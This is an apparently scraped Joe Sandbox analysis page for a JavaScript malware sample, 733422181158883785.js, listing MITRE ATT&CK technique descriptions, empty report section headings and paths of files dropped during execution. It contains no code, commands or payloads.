Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 733422181158883785.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\77678b92-caa8-48f2-ac6a-275145771b22.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
733422181158883785.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre